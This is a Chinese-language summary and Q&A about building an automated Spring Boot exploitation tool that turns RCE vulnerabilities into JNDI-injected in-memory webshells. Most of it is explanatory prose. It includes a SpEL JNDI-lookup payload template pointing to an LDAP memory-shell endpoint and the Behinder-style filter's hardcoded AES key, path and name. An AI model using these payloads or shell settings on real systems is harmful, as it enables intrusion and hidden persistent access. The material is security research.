Spring Boot RCE到内存马探索
内容提要
本文介绍了Spring Boot漏洞利用工具的开发过程,将Check list中的漏洞分为三类:可直接JNDI注入、需重启环境、无法直接利用。作者将第三类漏洞转化为JNDI注入方式,并定制了内存马类文件,实现了自动化利用。工具支持多种漏洞类型,但部分漏洞因条件复杂未集成,未来将扩展更多内存马类型。
延伸解读
漏洞分类与利用思路
文章将Spring Boot常见漏洞分为三类:可直接JNDI注入、需重启环境、无法直接利用。作者重点处理第三类,将其转化为JNDI注入方式,并定制内存马实现自动化利用。这种分类思路有助于安全人员快速评估漏洞利用的可行性和风险,尤其是避免因重启环境造成不可逆影响。
内存马定制与JNDI利用
作者定制了基于JNDI注入的内存马类文件,通过返回Class文件实例化实现注入。与传统内存马注入不同,JNDI方式无需依赖具体框架,但需注意不同漏洞的Payload适配问题。文中提到SpEL、SnakeYAML等漏洞的转化过程,展示了从弹计算器到内存马利用的进阶思路。
工具化与自动化挑战
为实现一键化利用,作者借助JNDIExploit项目搭建服务端,统一处理各类漏洞的Payload请求。但部分漏洞因条件复杂(如MySQL JDBC反序列化)或需重启环境(如Restart类)未集成。这反映了安全工具开发中平衡自动化与稳定性的现实问题。
Q&A
Spring Boot漏洞利用工具是如何对Check list中的漏洞进行分类的?
工具将Check list中的十二种漏洞分为三类:第一类是可以直接使用JNDI注入的,包括jolokia logback JNDI RCE、jolokia Realm JNDI RCE和h2 database console JNDI RCE;第二类是需要重启目标环境的,包括restart h2 database query RCE、restart logging.config logback JNDI RCE、restart logging.config groovy RCE、restart spring.main.sources groovy RCE和restart spring.datasource.data h2 database RCE;第三类是无法直接利用JNDI注入的,包括whitelabel error page SpEL RCE、spring cloud SnakeYAML RCE、eureka xstream deserialization RCE和mysql jdbc deserialization RCE。
为什么Spring Boot漏洞利用工具没有集成需要重启环境的漏洞?
因为第二类漏洞都需要对目标环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果,所以作者没有整合这些漏洞,未来也不会集成。
whitelabel error page SpEL RCE漏洞如何转化为JNDI注入?
通过使用SpEL表达式执行JNDI lookup,例如使用payload:${new javax.naming.InitialContext().lookup(new String(new byte[]{...}))},其中字节数组是ldap://127.0.0.1:1389/basic/TomcatMemShell3的ASCII码。但该漏洞利用方式未集成到工具中,因为SpEL漏洞存在多种情况,无法考虑完全。
spring cloud SnakeYAML RCE漏洞利用时,如何判断注入是否成功?
工具采用jar方式利用,通过服务器远程加载jar,并判断是否注入成功。直接JNDI注入时,POST /refresh会返回500,但注入可能成功,无法准确判断;而使用jar方式返回200,可以判断注入成功。
eureka xstream反序列化漏洞与传统XStream漏洞利用有何区别?
区别在于eureka的XStream配置对map有自定义转换器,导致无法使用HashMap,因此需要将payload中的HashMap替换为LinkedHashSet来触发漏洞。
mysql jdbc反序列化漏洞利用需要满足哪些条件?
需要确认存在mysql驱动,版本需为5.x或8.x,需要存在gadget依赖,需要记录原本的spring.datasource.url的value以便最后恢复,还需要架设恶意rogue mysql server。由于条件复杂且成功率低,该漏洞目前未集成到工具中。
工具中定制内存马是如何实现的?
工具定制了BehinderFilter类,该类继承ClassLoader并实现Filter接口。在静态代码块中,通过反射获取当前请求和响应对象,然后调用addFilter方法动态添加过滤器。过滤器使用AES加密通信,密码为02f2a5c80f47d495,路径为/ateam,过滤器名称为ateam666。
工具的服务端是如何适配所有漏洞的?
工具使用了JNDIExploit项目作为服务端,该项目能够处理客户端发送的Payload请求并返回对应内容,例如对于jolokia logback JNDI RCE,客户端请求xx.xml文件,服务端返回包含JNDI注入的配置内容。